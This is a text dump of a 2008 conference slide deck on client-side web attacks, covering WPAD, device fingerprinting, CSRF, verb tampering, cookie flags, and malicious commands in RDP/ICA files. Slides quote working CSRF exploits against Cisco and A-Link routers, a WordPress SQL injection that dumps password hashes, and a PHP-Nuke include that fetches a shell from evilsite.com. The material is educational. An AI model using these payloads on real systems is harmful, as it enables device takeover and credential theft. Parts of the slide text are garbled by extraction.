SlideShare a Scribd company logo
Hacking Client Side Insecurities
       Club-Hack 2008




            Aditya K Sood
      Founder , Sec-Niche Security
$whoami
   Research Front:
   •Founder , SECNICHE Security.
   •Independent Security Researcher.
   •Lead IS Author and Reviewer for Hakin9 Organization.
   •Research Author for USENIX and ELSEVIER Journals.
   •Like to do Bug Hunting. Released Advisories to Forefront Companies.
   •Active Speaker at Security Conferences.
      [EU-Sec-West , XCON [07/08] , XKungFoo[08] , OWASP , Cert-IN etc]
   •Team Lead – Evil Fingers Community.
   •Projects – CERA, MLABS etc.

   Professional Front:
   Work as a Security Advisor / Penetration Tester for KPMG Consultancy.



Hacking Client Side Insecurities
Web 2.0 Application Model




Hacking Client Side Insecurities
$ AGENDA
   [1] Discovering Clients on Internet / Intranet.
       Web Application Discovery Protocol
            Fingerprinting Embedded Devices.
            Rogue Request for HTTP Server Fingerprinting.
            JavaScript Based Client Information Retrieval
   [2] Client Side Attack Patterns.
       Pluggable Protocol Handlers.
       JavaScript Jacking  JSON Injections [CSRF]
       HTTP Verb Jacking HTTP Verb Tampering.
       Insecure Parametric Design of Cookies  Baking with XSS.
       War XHR and IFRAME Exploiting Patterns.
       Cross Site Request Forging (Embedded Devices)  The High Risk.
       Surf Jacking  Jacking HTTPS in Traffic Pool.
   [3] Web Virtual Environment [RDP/ CITRIX].
   [4] Questions and Answers.



Hacking Client Side Insecurities
Client Side ! Why?
   •   User Interface with the Browsers to Access Content Remotely.
   •   Client System Stores Sensitive Information as Local Cache.
   •   Scripting – an Intermediate Model of Client Server Relation.
   •   No Executables Required , Just Manipulation through Scripts.
   •   Follows the Concept of Spoofing and Hidden Codes.
   •   Exploitable through JS-Jacking and VBS-Jacking with number of Attacks.
   •   Browsers – The Bulls Eye , Attacker Prime Target.
   •   The Concept – Exploitation On the Fly.
   •   Exploitation Trend Change towards Application.
   •   Application Level Attacks Easy to Trigger and Execute.




Hacking Client Side Insecurities
Discovery




Hacking Client Side Insecurities
Fingerprinting ! Why?
   •   Discovering Clients leverage lot of Sensitive Information.
   •   Network and System Configuration is the Target Point to Attack.
   •   Internet , Search Engines Like Google Projects Plethora of Information.
   •   Attacking Intranet Requires the Inside Information of Party.
   •   Garbage Dumps on World Wide Web Servers , A Huge Bonus for Attackers.
   •   Client Side Supports various Protocols [Weak] for Robust Functionality.
   •   Insecure Administration of Servers – Configuration Mismanagement.
   •   Browser Based Insecurities.
   •   JavaScript Jacking on Client Browsers Reveal State Information of Clients.
   •   Every Single Element Discovered, Favors the Attack on Client.




Hacking Client Side Insecurities
Fingerprinting !
    Web Proxy Auto Discovery Protocol.

   •   Protocol used in Discovering Network Proxy Automatically.
   •   Configuration File Contains Intranet Addresses Inherently.
   •   Protocol Dismantle the Manual Configuration to Detect Proxy (PAC) File.
   •   WPAD Works on DHCP Behavior. [DHCPINFORM Query]
   •   No DNS Lookup is Required if DHCP Issues a Request.
   •   Protocol Handler  http://wpad.xxxx.com
   •   PAC  Proxy Auto Configuration | Proxy Settings for Subnets.
   •   DHCP Query through  Uniform Resource Locator [URL]
   •   DNS Query through  wpad.dat , File Located in WPAD Root Directory
   •   Function  FindProxyForURL()



Hacking Client Side Insecurities
Fingerprinting !
    Web Proxy Auto Discovery Protocol.
   • Attack Point 
   • wpad.dat is Not Stored in a Secure Manner. Should be Placed in Default
     Virtual Directory.
   • Browsers have Stringency in Making a Request to wpad.dat if Stored in Root
     Directory.
   • No Referrer Check on the Request to wpad.dat File.
   • wpad.dat  When a Request is issued it Redirects the page to Required
     Proxy File for Configuration of Browser.
                    Malicious Redirection Can be Done.
   • When a DHCP Request is Issued no DNS Required. WOW ! No DNS Cache
     Poisoning is Required.
                    Rogue DHCP Server on LAN do the Trick.
   • Wpad use JavaScript to Set Browsers for Proxy Settings.



Hacking Client Side Insecurities
Fingerprinting !
    Web Proxy Auto Discovery Protocol.

   # WPAD definition
       option wpad code 252 = text;
       # Suppress WPAD activity - no cache, no DNS.
       option wpad "n000";
       # Configure a valid WPAD cache. The n is required for Windows.
       # All config below this line is optional.
       #option wpad "http://www.example.com/wpad.pacn";
       class "MSFT" {
       match if substring(option vendor-class-identifier, 0, 4) = "MSFT";
       # They put 252 on the DHCPINFORM's, but not on the DHCPREQUEST's
       # PRL. So we over-ride the PRL to include 252 = 0xFC, which will also
       # suppress the DHCPINFORMS!
       option dhcp-parameter-request-list =
       concat(option dhcp-parameter-request-list, fc);
       }

   function FindProxyForURL(url, host)
       {
       return "PROXY 192.168.0.1:3128 ; DIRECT";
       }


Hacking Client Side Insecurities
Fingerprinting !
    Embedded Devices

   •   Criticality in Determining the Internal Structure.
   •   HTTP Request Parameters are Manipulated.
   •   301 Moved Permanently Response Code is thrown.
   •   Devices used to Spoof the Internal IP Addresses.
   •   Every Device has its Own Working Approach
   •   Used to Set Cookie in a Different Manner.
   •   Used to Change the parameter of HTTP Header Specifies.
   •   Analyzing the change in HTTP Headers Play the Trick.
   •   Necessary for Application Pen Testing at Infrastructural Level




Hacking Client Side Insecurities
Fingerprinting !
    Embedded Devices | HTTP Header Manipulation
   Case 1:
   Response Check 1
                                                                Potentially a Net Scalar
   HTTP/1.1 200 OKrn                                                  Device
   Date: Tue, 05 Jul 2007 17:05:18 GMTrn
   Server: Serverrn
   Vary: Accept-Encoding,User-Agentrn
   Content-Type: text/html;
   charset=ISO-8859-1rn
   nnCoection: closern Transfer-Encoding: chunkedrn
   Response Check 2

   - send: 'GET /?Action=DescribeImages&AWSAccessKeyId=0CZQCKRS3J69PZ6QQQR2&Owner.1
       =084307701560&SignatureVersion=1&Timestamp=2007-02-15T17%3A30%3A13 &Version=2007-01-
       03&Signature=<signature removed> HTTP/1.1rnHost: ec2.amazonaws.com:443rnAccept- Encoding:
       identityrnrn' reply: 'HTTP/1.1 200 OKrn' header: Server: Apache-Coyote/1.1 header: Transfer-
       Encoding: chunked header: Date: Thu, 15 Feb 2007 17:30:13 GMT

    send: 'GET /?Action=ModifyImageAttribute&Attribute=launchPermission&AWSAccessKeyId =0CZQCKRS3J6
       9PZ6QQQR2&ImageId=ami-00b95c69&OperationType=add&SignatureVersion=1& Timestamp=2007- 02-
       15T17%3A30%3A14&UserGroup.1=all&Version=2007-01-03&Signature=<signature removed>
       HTTP/1.1rnHost: ec2.amazonaws.com:443rnAccept-Encoding: identityrnrn' reply: 'HTTP/1.1 400
       Bad Requestrn' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header: Date: Thu,
       15 Feb 2007 17:30:14 GMT header:      nnCoection: close




Hacking Client Side Insecurities
Fingerprinting !
    Embedded Devices | HTTP Header Manipulation
   Case 2:

   HTTP/1.1 200 OK                                     The Content Parameter is
   Date: Tue, 10 July 2007 03:01:36 GMT               transformed into XONTENT.
   Server: Apache                                     This is Generally Shown by
   Connection: close                                     Potential RADWARE
   Content-type: text/plain                                     Devices


   HTTP/1.0 404 Not Foundrn
   Xontent-Length: rn
   Server: thttpd/2.25b 29dec2003rn
   Content-Type: text/html; charset=iso-8859-1rn
   Last-Modified: Tue, 05 Jul 2007 17:01:12 GMTrn
                                                                         RADWARE
   Accept-Ranges: bytesrn                                                Device
   Cache-Control: no-cache, no-storern
   Date: Tue, 05 Jun 2007 17:01:12 GMTrn
   Content-Length: 329rn
   Connection: closern

Hacking Client Side Insecurities
Fingerprinting !
    Embedded Devices | Big IP4 IP Based Session Management
    Response Check 1


   Cookie: service-http=167880896.12345.0000.
   ASPSESSIONIDSSCATCAT = XXXXXXXXXXXXXXXXXXX
                                                                                  Lets dissect the
   Converting to Binary:
                                                                                  Pattern of this
   Binary ( cookie ) == 00001010000000011010100011000000
                                                                                    Number.

   Converting to blocks of 4 
   00001010
   00000001
   10101000
   11000000
                                                                      Convert it into
                                                                      Decimal to see
   00001010               10
   00000001               1
                                                                      what is there.
   10101000               168
   11000000               192


                                         The Internal IP Dissected is  192.168.1.10
                                          This Layout is specific to Working Devices




Hacking Client Side Insecurities
Fingerprinting !
    HTTP Servers  Fingerprinting with Rogue Requests

   •   Fingerprinting HTTP Servers with Rogue Requests.
   •   Web Servers React Stringently to Different Requests.
   •   The Response Code can be used to Analyze the Web Server.
   •   80% of this Request-Response is Successful.




Hacking Client Side Insecurities
Fingerprinting !
   •   Client Side JavaScript Can Leverage Lot of Information of Browser State.

   Platform    :   Win32
   OSCPU                      : undefined
   UserAgent :     Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
   Language    :   en-US
   AppName     :   Netscape
   AppVersion :    5.0 (Windows; en-US)                              <script language="javascript"> function
   Product     :   Gecko                                           browserInfo(form) { var txtInfo; txtInfo =
   CodeName :      2008092417                                      "Platform : " + window.navigator.platform
   Vendor      :                                                               + "n" + "OSCPU : " +
   VendorSub :                                                          window.navigator.oscpus + "n" +
   CodeName :      Mozilla                                                        "UserAgent : " +
   History  :3                                                        window.navigator.userAgent + "n" +
   ScreenW                    : 1440                              "Language : " + window.navigator.language
   ScrrenH                    : 900                                          + "n" + "AppName : " +
                                                                      window.navigator.appName + "n" +
                                                                                 "AppVersion : " +
                                                                     window.navigator.appVersion + "n" +
                                                                   "Product : " + window.navigator.product +
                                                                              "n" + "CodeName : " +
                                                                     window.navigator.productSub + "n" +
                                                                    "Vendor : " + window.navigator.vendor +
                                                                              "n" + "VendorSub : " +
                                                                      window.navigator.vendorSub + "n" +
                                                                                  "CodeName : " +
                                                                   window.navigator.appCodeName + "n" +
                                                                  "History : " + window.history.length + "n"
                                                                    + "ScreenW : " + window.screen.width +
                                                                               "n" + "ScrrenH : " +
                                                                               window.screen.height;
                                                                     form.txtOutput.value=txtInfo; return; }
                                                                                  </script>


Hacking Client Side Insecurities
Demonstrations!




Hacking Client Side Insecurities
Web Chemistry! Wow!




Hacking Client Side Insecurities
Client Side Exploiting Patterns




Hacking Client Side Insecurities
Client Side Exploiting Patterns
        •Pluggable Protocol Handlers.
        •JavaScript Jacking  JSON Injections [CSRF]
        •HTTP Verb Jacking HTTP Verb Tampering.
        •Insecure Parametric Design of Cookies  Baking with XSS.
        •War XHR and IFRAME Exploiting Patterns.
        •Cross Site Request Forging through CSS Parameter.
        •Cross Site Request Forging (Embedded Devices)  The High
        Risk.
        •Surf Jacking  Jacking HTTPS in Traffic Pool.



Hacking Client Side Insecurities
Pluggable Protocol Handlers
  •Attack works with XSS etc Vulnerabilities.
  •Browsers support for the Application Handlers.
  •Third Party Attack Base.


  GOOGLE CHROME Browser Support 

  protocol_handler": {
     "excluded_schemes": {
       "afp": true,
       "data": true,
       "disk": true,
       "disks": true,
       "file": true,
       "hcp": true,
       "javascript": true,
       "mailto": false,
       "ms-help": true,
       "news": false,
       "nntp": true,
       "shell": true,
       "snews": false,
       "vbscript": true,
       "view-source": true,
       "vnd": {
         "ms": {
            "radio": true
         }




Hacking Client Side Insecurities
Java Script Jacking
       •JavaScript – The Most Critical and Most Usable Scripting Entity.
       •Irrevocably Supported by Every Browsers.
       •Active base for Malicious Web Base Content.
       •Helps in Diversified Client Side Hacking from the Core.
       •Dynamic Generated Object Malfunctioning.
       •JS-Jacking  Leveraging System Specific Information.
       •Attacker Can query Browser Related Information.
       •Active Encoding Attacks Fused with JavaScript.
       •DOM Based Calling Pattern for Web Based Attacks.

                                               Website Requires
                                            JavaScript Support. This
                                             anatomy works in both
                                              positive and negative
                                                     manner


Hacking Client Side Insecurities
Java Script Jacking




Hacking Client Side Insecurities
Java Script Jacking – JSON Injections
    JSON Injections  The Serialization Insecurity | Web 2.0
    Direct Injections with Encoding.
    Everything is treated as String. Apply toJSONObject().
    CSRF  A different way to Fuse attack with Notation Objects.
    {
               "menu":
                         {
               "id": "<img
           src="https://books.example.com/clickbuy?book=ISBNhere&quantity=100">",

              "value": "<img
           src="https://trading.example.com/xfer?from=MSFT&to=RHAT&confirm=Y">",

              "popup":
           "<scriptsrc="https://www.google.com/accounts/UpdateEmail?service=adsense
           &Email=mymail@newmail.net&Passwd=cool&save="></script>"
                         }
           }
                                                            Cross Site
    }                                                     Request Forgery
                                                           Structured in
                                                          JSON – Google
                                                             Ad sense
                                                              Layout.

Hacking Client Side Insecurities
HTTP Verb Jacking
    •      HTTP  Stateless Protocol. Every Request is Independent of other.
    •      HTTP supports number of Request.
    •      HTTP Verb Jacking  Play with HTTP Requests like GET/POST.
    •      Attack Affect  Applications handling XML Data. Versatile Attack.
    •      Request Schema is Defined in web.xml file.
    •      HTTP Request Functionality is Placed in web.xml File.
    •      Verb Jacking == Verb Tampering.
    •      Exists for a Long Period of Time.              In 2006 , I have released a
    •      HTTP 1.0 and HTTP 1.1 Plays a Part.            paper called Rogue XML
                                                             Specifications which list the
                                                               potential insecurities in
           Major Flaw  HTTP End Point                               web.xml file.
          Check does not Disseminate among                 http://packetstormsecurity.org/
           HTTP Request. Only Parameter                    papers/general/RogueXMLSpe
          Check is Performed. All Verbs are                            cific.pdf
                      Allowed.




Hacking Client Side Insecurities
HTTP Verb Jacking
       security-constraint>
                    <web-resource-collection>
                                              <web-resource-name>drivers</web-resource-name>
                                                                                 The snapshot of web.xml file
                                                                     <description>
                                                                                 Security constraint for
       drivers page                                                                 for a certain target. The
                                                                     </description>
                                                                                 security constraint parameter
                                <url-pattern>/drivers.html</url-pattern>
                                <http-method>POST</http-method>                   defines the allowed request.
                                <http-method>GET</http-method>
                    </web-resource-collection>
                                                                                  The type of Authentication
                    <auth-constraint>                                                       allowed.
                                <description>
                                 constraint for drivers
                                </description>
                                <role-name>manager</role-name>
                    </auth-constraint>                                      HTTP Verb Jacking  Manager
        </security-constraint>                                             directories will not be Accessed
                                                                             by GET/POST Request. What
        <login-config>
         <auth-method>BASIC</auth-method>                                        about HEAD Request.
        </login-config>

        <security-role>
         <role-name>manager</role-name>




                       J2EE ,JSP , ASP , ASP.NET,PHP etc are based on
                              configuration files to process the type
                         of request to handle. [ GET/POST/HEAD etc]

Hacking Client Side Insecurities
Insecure Parametric Cookies
    •      Insecure Use of Cookies in Session Management.
    •      Where the Security State is ? Majority Fails to Instantiate.
    •      XSS Drags in the Application. Authenticated Cookies can be
           Undertaken.
    •      The Real Cause  Insecure Design of Cookies with Parameters.
                                      Cookie Security Design is Judged by two major factors:
                                           1. Cookie over Secure Channel [HTTPS ]
          Cookie Security               2. Cookie Extraction through JavaScript Calls.
            Parameter
              Check

                                                Cookie Security Parameters are :-
                                        Secure ( boolean)  Allowed over only HTTPS.
                                    HttpOnly ( boolean )  JavaScript document.cookie Fails.




Hacking Client Side Insecurities
XHR and IFRAME
    •        XHR  XML HTTP DOM based API for XML Data Transference.
    •        Active Mechanism based on AJAX.
    •        XHR Request does not Cached in the History of Browser.
    •        IFRAME Requests have a proper History Caching Layout.
    •        XHR Requests are Irreversible. IRAME is totally Reverse.
    •        Working Functionality of both are Different from Each other.
    •        Number of Client Side Attacks are Exploited by using these Elements.

        If your browser do not support Ajax XHR request and a page is loaded into
        browser then the most of the remote toolkits have a hidden iframe to provide fake
        XHR support to the page.




Hacking Client Side Insecurities
XHR and IFRAME
          <script >                                                                 var iframe =
          var oRequest = new XMLHttpRequest();                                      document.createElement("IFRAME");
           var sURL =                                                               iframe.setAttribute("src",
          "http://www.snapdrive.net/files/571814/chrome.txt";
                                                                                    'ftp://localhost/anything');
           alert('Downloading a txt file..please wait.');
           oRequest.open("GET",sURL,false);                                         iframe.setAttribute("name", 'myiframe');
          oRequest.setRequestHeader("User-                                          iframe.setAttribute("id", 'myiframe');
          Agent",navigator.userAgent);                                              iframe.setAttribute("onload",
           oRequest.send(null);                                                     'read_iframe("myiframe")');
           xmlDoc=oRequest.ResponseText;                                            iframe.style.width = "100px";
           alert(xmlDoc);                                                           iframe.style.height = "100px";
           if (oRequest.status==200)
          { alert('Done...now try editing the Text-Box!');                          document.body.appendChild(iframe);
                                                                                    Konqueror 3.5.5 Crash [Milw0rm]
          var str=" Winget 3.0 DoS Exploit PoC.Minimize Winget & Right-
          Click & Copy to clipboard.";
          document.write(str.link("http://"+oRequest.responseText+".ex
          e"));

          }
          else
          {alert('Error executing XMLHttpRequest call!');}


                        Local Dos [Milw0rm]
                                                                                         [PHP Nuke IFRAME]
                                                                          http://www.example.com/nuke_path/iframe.php?file
                                                                          =ftp://user:pass@evilsite.com/public_html/shell.html

                                                                                               (or) .htm
          [Word Press SQL Injection through IFRAME]
                                   wp-
        content/plugins/st_newsletter/stnl_iframe.php?newsletter=
                                    -
        9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x
                    3a,user_email)+FROM+wp_users--



                                                                      http://www.milw0rm.com/exploits/6777
                                                                      http://www.milw0rm.com/exploits/3512
Hacking Client Side Insecurities
Embedded Devices - CSRF
         [1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm]
                          <html> <body> <body onload="fdsa.submit();">
    <form name=fdsa method="post" action="http://10.10.10.1/level/15/exec/-/configure/http">
                   <input type=hidden name=command value="alias exec xx xx">
               <input type=hidden name=command_url value="/level/15/exec/-">
           <input type=hidden name=new_command_url value="/level/15/configure/-">

                                        </body> </html>




                                                                           [3] EXPLAY CMS CSRF Exploit
                                                                    <img src="http://explay.localhost/admin.php?name

                                                                     =users&page=1&order=user_id&set_admin=2" />




                                         [2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm]
                                                   <html> <body onload="document.wan.submit();
                                                           document.password.submit()">
                                  <form action="http://192.168.1.254/goform/formWanTcpipSetup" method="post"
                              name="wan"> <input type="hidden" value="dnsManual" name="dnsMode" checked> <input
                                                type="hidden" name="dns1" value="216.239.32.10">
                                            <input type="hidden" name="dns2" value="216.239.32.10">
                                            <input type="hidden" name="dns3" value="216.239.32.10">
                               <input type="hidden" name="webWanAccess" value="ON" checked="checked"> </form>
                                  <form action="http://192.168.1.254/goform/formPasswordSetup" method="post"
                                name="password"> <input type="hidden" name="username" value="mallory"> <input
                                                  type="hidden" name="newpass" value="gotroot">

                                 <input type="hidden" name="confpass" value="gotroot"> </form> </body> </html>




Hacking Client Side Insecurities
SURF Jacking – HTTPS at Stake
     •Vulnerable Play with HTTPS Websites.
     •Surf Jacking [HTTPS] is an Outcome from Side Jacking [HTTP].
     •Basic Flaw is In Cookie Setting by Respective Servers.
     •All Insecure Cookie Based Website at Risk.                  Side Jacking
                                                                  discovered by Errata
                                                                       Security.

                                                                      Surf Jacking
                                                                  discovered by Enable
                                                                        Security

                                                                  But Cookie Insecurity
                                                                   is known back time.

                                                                  Greets to break down
                                                                      into Attacks.




Hacking Client Side Insecurities
Demonstrations!




Hacking Client Side Insecurities
RDP / ICA – Command Execution
    •      Virtual Environment for Clients to Produce Interface with Servers.
    •      Executing Commands and GUI Operations Generically.
    •      ICA  Independent Computing Architecture , CITRIX Applications
    •      RDP  Remote Desktop Protocol , Microsoft Proprietary Protocol.
    •      Basically , Virtual Desktop Working Functionality.
    •      Protocols Defined have Different Working Behavior for ICA and RDP
    •      Application ( RDP )  MTS i.e. Microsoft Terminal Services.
    •      Clients Exist for almost all Platforms [*Nix, Windows etc].
    •      ICA  Similar to X Window System / XEN Virtual Environment.
    •      RDP Client  RDC + TSC
                            RDC  Remote Desktop Connection.
                            TSC  Terminal Services Connection.




Hacking Client Side Insecurities
RDP / ICA
    Citrix Web ICA File: Webica.ini

    •      Trusted and Un-trusted Distinction  Client Modeling Check.
    •      It depicts the trusted behavior of ICA Client from its Origin Point using the
           webica.ini file.
    •      Trusted ( ICA Client )  Program Neighborhood / PN Agent.
    •      Un-Trusted ( ICA Client )  Web Interface / Direct ICA File Execution.

     Structured Dependency over webica.ini file. It is used to set Access Rights.

    Citrix Application Server File: Appsrv.ini

    •      Custom ICA Connections are defined in it.
    •      Information about Entries in Remote Connection Manager.




Hacking Client Side Insecurities
Attack Point - ICA
        Citrix Desktop Connection parameters provide a functionality to feed a specific
        Command which will get executed when a connection is initiated to the server
            by the client. Usually instead of the desktop the command gets executed.

    •        [ApplicationServers]
    •        Desktop=
    •
    •        [Desktop]
    •        TransportDriver=TCP/IP
    •        BrowserProtocol=UDP
    •        DesiredHRES=4294967295
    •        DesiredVRES=4294967295
    •        ScreenPercent=0
    •        DoNotUseDefaultCSL=Off
    •        Description=Desktop
    •        Address=citrix.msdsb.net
    •        InitialProgram=#ROGUE or MALICIOUS COMMAND
    •        IconPath=M:Program FilesCitrixICA Clientpn.exe
    •        IconIndex=1
    •        ConnectType=1
    •        MaximumCompression=Off
    •        UseAlternateAddress=0
    •        Compress=On

    .

Hacking Client Side Insecurities
Attack Point - RDP
        Microsoft Terminal Services RDP has inbuilt option of executing
             command through shell directly which is a possible attack
                                 point of Infection.
    •      screen mode id:i:1
    •      desktopwidth:i:800
    •      desktopheight:i:600
    •      session bpp:i:16
    •      winposstr:s:0,3,0,0,800,572
    •      full address:s:www.intlogistics.com
    •      alternate shell:s: Malicious or rogue Command
    •      compression:i:1
    •      keyboardhook:i:2
    •      audiomode:i:0
    •      redirectdrives:i:0
    •      redirectprinters:i:1
    •      redirectcomports:i:0
    •      redirectsmartcards:i:1
    •      displayconnectionbar:i:1
    •      autoreconnection enabled:i:1
    •      username:s:freight


    .


Hacking Client Side Insecurities
Demonstrations!




Hacking Client Side Insecurities
Questions




Hacking Client Side Insecurities
Thanks and Regards




Hacking Client Side Insecurities
SecNiche Security
                         http://www.secniche.org




Hacking Client Side Insecurities

More Related Content

What's hot (20)

PDF
Carlos García - Pentesting Active Directory Forests [rooted2019]
RootedCON
 
PDF
[CB21] ProxyLogon is Just the Tip of the Iceberg, A New Attack Surface on Mic...
CODE BLUE
 
PDF
Part 3 - Local Name Resolution in Linux, FreeBSD and macOS/iOS
Men and Mice
 
PDF
Namespaces for Local Networks
Men and Mice
 
PDF
Encrypted DNS - DNS over TLS / DNS over HTTPS
Alex Mayrhofer
 
PDF
Socially Acceptable Methods to Walk in the Front Door
Mike Felch
 
PDF
Apache Commons ソースリーディングの会:Codec
moai kids
 
PDF
TLS/SSL MAC security flaw
Nate Lawson
 
PDF
In the Wake of Kerberoast
ken_kitahara
 
PDF
TLS Optimization
Nate Lawson
 
PDF
Revisiting HTTP/2
Fastly
 
PPTX
DoH, DoT and ESNI
Jisc
 
PPTX
State of Authenticating RESTful APIs
robwinch
 
PDF
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
CODE BLUE
 
PDF
NAT64 Overview
Salachudin Emir
 
PDF
Part 2 - Local Name Resolution in Windows Networks
Men and Mice
 
PDF
The DNSSEC KSK of the root rolls
Men and Mice
 
PDF
Passive DNS Collection -- the 'dnstap' approach, by Paul Vixie [APNIC 38 / AP...
APNIC
 
PPTX
Http2 Security Perspective
Sunil Kumar
 
PDF
Introduction DNSSec
AFRINIC
 
Carlos García - Pentesting Active Directory Forests [rooted2019]
RootedCON
 
[CB21] ProxyLogon is Just the Tip of the Iceberg, A New Attack Surface on Mic...
CODE BLUE
 
Part 3 - Local Name Resolution in Linux, FreeBSD and macOS/iOS
Men and Mice
 
Namespaces for Local Networks
Men and Mice
 
Encrypted DNS - DNS over TLS / DNS over HTTPS
Alex Mayrhofer
 
Socially Acceptable Methods to Walk in the Front Door
Mike Felch
 
Apache Commons ソースリーディングの会:Codec
moai kids
 
TLS/SSL MAC security flaw
Nate Lawson
 
In the Wake of Kerberoast
ken_kitahara
 
TLS Optimization
Nate Lawson
 
Revisiting HTTP/2
Fastly
 
DoH, DoT and ESNI
Jisc
 
State of Authenticating RESTful APIs
robwinch
 
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
CODE BLUE
 
NAT64 Overview
Salachudin Emir
 
Part 2 - Local Name Resolution in Windows Networks
Men and Mice
 
The DNSSEC KSK of the root rolls
Men and Mice
 
Passive DNS Collection -- the 'dnstap' approach, by Paul Vixie [APNIC 38 / AP...
APNIC
 
Http2 Security Perspective
Sunil Kumar
 
Introduction DNSSec
AFRINIC
 

Viewers also liked (19)

PDF
UFMG Provas Antigas 1996 fechada 2 - Conteúdo vinculado ao blog http://f...
Rodrigo Penna
 
PPTX
Forexyard
dashobop
 
PPTX
Wykonanie infrastruktury sieciowej w zakładach opieki zdrowotnej podległych S...
Wydział ds. eZdrowia, Departament Polityki Zdrowotnej, Urząd Marszałkowski w Łodzi
 
PDF
Attacking with html5(lava kumar)
ClubHack
 
PDF
Check Verification
robertfcooper
 
PPS
Tormentadehieloensuiza
jgutier4
 
PPT
Baas
startuppoint
 
PPS
nano saniye
Raci Göktaş
 
PDF
Essencia da Luz nº 07
Nelson Soares
 
PDF
11 ideas clave Esquema
yaasminrodriguez
 
PPT
Reunião Jufra
familiajufra
 
PDF
UFMG Provas Antigas 1990 aberta - Conteúdo vinculado ao blog http://fisi...
Rodrigo Penna
 
PPS
Nunca mas beberé alcohol
trocherias
 
PDF
Ufmg 2002-1ª - Conteúdo vinculado ao blog http://fisicanoenem.blogspot.c...
Rodrigo Penna
 
PPS
The Good Old Days
Andrew Voyce
 
PPS
What You Deserv1
Cynthia D
 
PPS
Von Hinten 'Rein Nochmal!
Andrew Voyce
 
PPT
Inquiry Learning
Magalie Le Gac
 
UFMG Provas Antigas 1996 fechada 2 - Conteúdo vinculado ao blog http://f...
Rodrigo Penna
 
Forexyard
dashobop
 
Wykonanie infrastruktury sieciowej w zakładach opieki zdrowotnej podległych S...
Wydział ds. eZdrowia, Departament Polityki Zdrowotnej, Urząd Marszałkowski w Łodzi
 
Attacking with html5(lava kumar)
ClubHack
 
Check Verification
robertfcooper
 
Tormentadehieloensuiza
jgutier4
 
nano saniye
Raci Göktaş
 
Essencia da Luz nº 07
Nelson Soares
 
11 ideas clave Esquema
yaasminrodriguez
 
Reunião Jufra
familiajufra
 
UFMG Provas Antigas 1990 aberta - Conteúdo vinculado ao blog http://fisi...
Rodrigo Penna
 
Nunca mas beberé alcohol
trocherias
 
Ufmg 2002-1ª - Conteúdo vinculado ao blog http://fisicanoenem.blogspot.c...
Rodrigo Penna
 
The Good Old Days
Andrew Voyce
 
What You Deserv1
Cynthia D
 
Von Hinten 'Rein Nochmal!
Andrew Voyce
 
Inquiry Learning
Magalie Le Gac
 

Similar to Aditya - Hacking Client Side Insecurities - ClubHack2008 (20)

PPS
Hacking Client Side Insecurities
amiable_indian
 
PDF
Xfocus xcon 2008_aks_oknock
ownerkhan
 
PDF
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
Felipe Prado
 
PDF
Web前端性能优化 2014
Yubei Li
 
PDF
Embracing HTTP in the era of API’s
Visug
 
PDF
Big datadc skyfall_preso_v2
abramsm
 
PPT
Applciation footprinting, discovery and enumeration
Blueinfy Solutions
 
PPTX
Choosing A Proxy Server - Apachecon 2014
bryan_call
 
PDF
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Michele Orru
 
PPTX
«Real Time» Web Applications with SignalR in ASP.NET
Alessandro Giorgetti
 
PPTX
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
lior mazor
 
PDF
How to secure your web applications with NGINX
Wallarm
 
PDF
Wcf Overview
Amit Narula
 
PDF
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...
Felipe Prado
 
PDF
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
Felipe Prado
 
PDF
StHack 2014 - Jerome "@funoverip" Nokin Turning your managed av into my botnet
StHack
 
PPT
Generating the Server Response: HTTP Status Codes
DeeptiJava
 
PPTX
5 things you didn't know nginx could do velocity
sarahnovotny
 
PDF
Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
PDF
How to debug IoT Agents
Fernando Lopez Aguilar
 
Hacking Client Side Insecurities
amiable_indian
 
Xfocus xcon 2008_aks_oknock
ownerkhan
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
Felipe Prado
 
Web前端性能优化 2014
Yubei Li
 
Embracing HTTP in the era of API’s
Visug
 
Big datadc skyfall_preso_v2
abramsm
 
Applciation footprinting, discovery and enumeration
Blueinfy Solutions
 
Choosing A Proxy Server - Apachecon 2014
bryan_call
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Michele Orru
 
«Real Time» Web Applications with SignalR in ASP.NET
Alessandro Giorgetti
 
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
lior mazor
 
How to secure your web applications with NGINX
Wallarm
 
Wcf Overview
Amit Narula
 
DEF CON 27 - GERALD DOUSSOT AND ROGER MEYER - state of dns rebinding attack ...
Felipe Prado
 
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
Felipe Prado
 
StHack 2014 - Jerome "@funoverip" Nokin Turning your managed av into my botnet
StHack
 
Generating the Server Response: HTTP Status Codes
DeeptiJava
 
5 things you didn't know nginx could do velocity
sarahnovotny
 
